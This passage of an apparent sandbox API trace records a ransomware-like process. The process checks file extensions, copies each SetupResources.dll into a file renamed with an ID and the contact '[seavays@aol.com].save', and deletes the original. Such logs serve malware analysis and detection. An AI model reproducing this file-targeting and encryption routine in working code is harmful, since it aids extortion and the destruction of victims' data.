lpString2="RKER") returned -1 [0050.585] lstrlenW (lpString=".docx") returned 5 [0050.585] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0050.585] lstrlenW (lpString=".pdf") returned 4 [0050.585] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0050.585] lstrlenW (lpString=".xls") returned 4 [0050.585] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0050.585] lstrlenW (lpString=".xlsx") returned 5 [0050.585] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0050.585] lstrlenW (lpString=".ppt") returned 4 [0050.585] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0050.585] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0050.585] lstrlenW (lpString=".zip") returned 4 [0050.585] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0050.585] lstrlenW (lpString=".rar") returned 4 [0050.585] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0050.585] lstrlenW (lpString=".bz2") returned 4 [0050.585] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0050.585] lstrlenW (lpString=".7z") returned 3 [0050.585] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0050.585] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0050.585] lstrlenW (lpString=".dbf") returned 4 [0050.585] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0050.585] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0050.585] lstrlenW (lpString=".1cd") returned 4 [0050.585] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0050.585] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0050.585] lstrlenW (lpString=".jpg") returned 4 [0050.586] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0050.586] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0050.586] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0050.586] lstrlenW (lpString=".doc") returned 4 [0050.586] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0050.586] lstrlenW (lpString=".docx") returned 5 [0050.586] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0050.586] lstrlenW (lpString=".pdf") returned 4 [0050.586] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0050.586] lstrlenW (lpString=".xls") returned 4 [0050.586] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0050.586] lstrlenW (lpString=".xlsx") returned 5 [0050.586] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0050.586] lstrlenW (lpString=".ppt") returned 4 [0050.586] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0050.586] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0050.586] lstrlenW (lpString=".zip") returned 4 [0050.586] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0050.586] lstrlenW (lpString=".rar") returned 4 [0050.586] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0050.586] lstrlenW (lpString=".bz2") returned 4 [0050.586] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0050.586] lstrlenW (lpString=".7z") returned 3 [0050.586] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0050.586] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0050.586] lstrlenW (lpString=".dbf") returned 4 [0050.586] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0050.586] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0050.586] lstrlenW (lpString=".1cd") returned 4 [0050.586] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0050.586] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0050.586] lstrlenW (lpString=".jpg") returned 4 [0050.586] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0050.587] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.587] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.587] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0050.587] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=14168) returned 1 [0050.587] CloseHandle (hObject=0x2fc) returned 1 [0050.588] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0050.588] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.588] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0050.588] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.588] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.588] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0050.598] GetLastError () returned 0x0 [0050.598] ReadFile (in: hFile=0x2fc, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x3758, lpOverlapped=0x0) returned 1 [0050.612] WriteFile (in: hFile=0x300, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x3760, lpOverlapped=0x0) returned 1 [0050.614] ReadFile (in: hFile=0x2fc, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0050.614] WriteFile (in: hFile=0x300, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf8, lpOverlapped=0x0) returned 1 [0050.614] SetEndOfFile (hFile=0x300) returned 1 [0050.614] CloseHandle (hObject=0x300) returned 1 [0050.615] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.615] SetEndOfFile (hFile=0x2fc) returned 1 [0050.616] CloseHandle (hObject=0x2fc) returned 1 [0050.616] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0050.616] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0050.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0050.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0050.616] lstrlenW (lpString=".doc") returned 4 [0050.616] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.616] lstrlenW (lpString=".docx") returned 5 [0050.616] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.616] lstrlenW (lpString=".pdf") returned 4 [0050.617] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.617] lstrlenW (lpString=".xls") returned 4 [0050.617] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.617] lstrlenW (lpString=".xlsx") returned 5 [0050.617] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.617] lstrlenW (lpString=".ppt") returned 4 [0050.617] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0050.617] lstrlenW (lpString=".zip") returned 4 [0050.617] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.617] lstrlenW (lpString=".rar") returned 4 [0050.617] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.617] lstrlenW (lpString=".bz2") returned 4 [0050.617] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.617] lstrlenW (lpString=".7z") returned 3 [0050.617] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0050.617] lstrlenW (lpString=".dbf") returned 4 [0050.617] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0050.617] lstrlenW (lpString=".1cd") returned 4 [0050.617] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0050.617] lstrlenW (lpString=".jpg") returned 4 [0050.617] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0050.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0050.617] lstrlenW (lpString=".doc") returned 4 [0050.617] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.617] lstrlenW (lpString=".docx") returned 5 [0050.617] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.617] lstrlenW (lpString=".pdf") returned 4 [0050.617] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.618] lstrlenW (lpString=".xls") returned 4 [0050.618] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.618] lstrlenW (lpString=".xlsx") returned 5 [0050.618] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.618] lstrlenW (lpString=".ppt") returned 4 [0050.618] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0050.618] lstrlenW (lpString=".zip") returned 4 [0050.618] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.618] lstrlenW (lpString=".rar") returned 4 [0050.618] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.618] lstrlenW (lpString=".bz2") returned 4 [0050.618] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.618] lstrlenW (lpString=".7z") returned 3 [0050.618] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0050.618] lstrlenW (lpString=".dbf") returned 4 [0050.618] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0050.618] lstrlenW (lpString=".1cd") returned 4 [0050.618] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0050.618] lstrlenW (lpString=".jpg") returned 4 [0050.618] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.618] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.618] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0050.760] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=18264) returned 1 [0050.761] CloseHandle (hObject=0x2f8) returned 1 [0050.761] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0050.761] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.761] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0050.761] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.761] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.761] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0050.826] GetLastError () returned 0x0 [0050.827] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x4758, lpOverlapped=0x0) returned 1 [0050.839] WriteFile (in: hFile=0x2e8, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4760, lpOverlapped=0x0) returned 1 [0050.840] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0050.840] WriteFile (in: hFile=0x2e8, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf8, lpOverlapped=0x0) returned 1 [0050.840] SetEndOfFile (hFile=0x2e8) returned 1 [0050.840] CloseHandle (hObject=0x2e8) returned 1 [0050.842] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.842] SetEndOfFile (hFile=0x2f8) returned 1 [0050.842] CloseHandle (hObject=0x2f8) returned 1 [0050.843] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0050.843] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0050.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0050.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0050.843] lstrlenW (lpString=".doc") returned 4 [0050.843] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.843] lstrlenW (lpString=".docx") returned 5 [0050.843] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.843] lstrlenW (lpString=".pdf") returned 4 [0050.843] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.843] lstrlenW (lpString=".xls") returned 4 [0050.843] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.843] lstrlenW (lpString=".xlsx") returned 5 [0050.843] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.843] lstrlenW (lpString=".ppt") returned 4 [0050.843] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0050.843] lstrlenW (lpString=".zip") returned 4 [0050.843] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.843] lstrlenW (lpString=".rar") returned 4 [0050.844] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.844] lstrlenW (lpString=".bz2") returned 4 [0050.844] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.844] lstrlenW (lpString=".7z") returned 3 [0050.844] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0050.844] lstrlenW (lpString=".dbf") returned 4 [0050.844] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0050.844] lstrlenW (lpString=".1cd") returned 4 [0050.844] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0050.844] lstrlenW (lpString=".jpg") returned 4 [0050.844] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0050.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0050.844] lstrlenW (lpString=".doc") returned 4 [0050.844] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.844] lstrlenW (lpString=".docx") returned 5 [0050.844] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.844] lstrlenW (lpString=".pdf") returned 4 [0050.844] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.844] lstrlenW (lpString=".xls") returned 4 [0050.844] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.844] lstrlenW (lpString=".xlsx") returned 5 [0050.845] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.845] lstrlenW (lpString=".ppt") returned 4 [0050.845] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.845] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0050.845] lstrlenW (lpString=".zip") returned 4 [0050.845] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.845] lstrlenW (lpString=".rar") returned 4 [0050.845] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.845] lstrlenW (lpString=".bz2") returned 4 [0050.845] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.845] lstrlenW (lpString=".7z") returned 3 [0050.845] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.845] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0050.845] lstrlenW (lpString=".dbf") returned 4 [0050.845] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.845] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0050.845] lstrlenW (lpString=".1cd") returned 4 [0050.845] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.845] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0050.845] lstrlenW (lpString=".jpg") returned 4 [0050.845] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.845] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.845] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.845] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0050.845] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=19288) returned 1 [0050.846] CloseHandle (hObject=0x2f8) returned 1 [0050.846] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0050.846] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.846] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0050.846] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.846] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.846] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0050.849] GetLastError () returned 0x0 [0050.849] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x4b58, lpOverlapped=0x0) returned 1 [0050.859] WriteFile (in: hFile=0x2f0, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4b60, lpOverlapped=0x0) returned 1 [0050.860] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0050.860] WriteFile (in: hFile=0x2f0, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf8, lpOverlapped=0x0) returned 1 [0050.860] SetEndOfFile (hFile=0x2f0) returned 1 [0050.860] CloseHandle (hObject=0x2f0) returned 1 [0050.861] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.861] SetEndOfFile (hFile=0x2f8) returned 1 [0050.862] CloseHandle (hObject=0x2f8) returned 1 [0050.862] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0050.863] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0050.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0050.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0050.863] lstrlenW (lpString=".doc") returned 4 [0050.863] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.863] lstrlenW (lpString=".docx") returned 5 [0050.863] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.863] lstrlenW (lpString=".pdf") returned 4 [0050.863] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.863] lstrlenW (lpString=".xls") returned 4 [0050.863] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.863] lstrlenW (lpString=".xlsx") returned 5 [0050.863] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.863] lstrlenW (lpString=".ppt") returned 4 [0050.863] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.863] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0050.863] lstrlenW (lpString=".zip") returned 4 [0050.863] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.863] lstrlenW (lpString=".rar") returned 4 [0050.863] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.863] lstrlenW (lpString=".bz2") returned 4 [0050.863] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.863] lstrlenW (lpString=".7z") returned 3 [0050.863] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0050.864] lstrlenW (lpString=".dbf") returned 4 [0050.864] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0050.864] lstrlenW (lpString=".1cd") returned 4 [0050.864] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0050.864] lstrlenW (lpString=".jpg") returned 4 [0050.864] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0050.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0050.864] lstrlenW (lpString=".doc") returned 4 [0050.864] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.864] lstrlenW (lpString=".docx") returned 5 [0050.864] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.864] lstrlenW (lpString=".pdf") returned 4 [0050.864] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.864] lstrlenW (lpString=".xls") returned 4 [0050.864] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.864] lstrlenW (lpString=".xlsx") returned 5 [0050.864] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.864] lstrlenW (lpString=".ppt") returned 4 [0050.864] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0050.864] 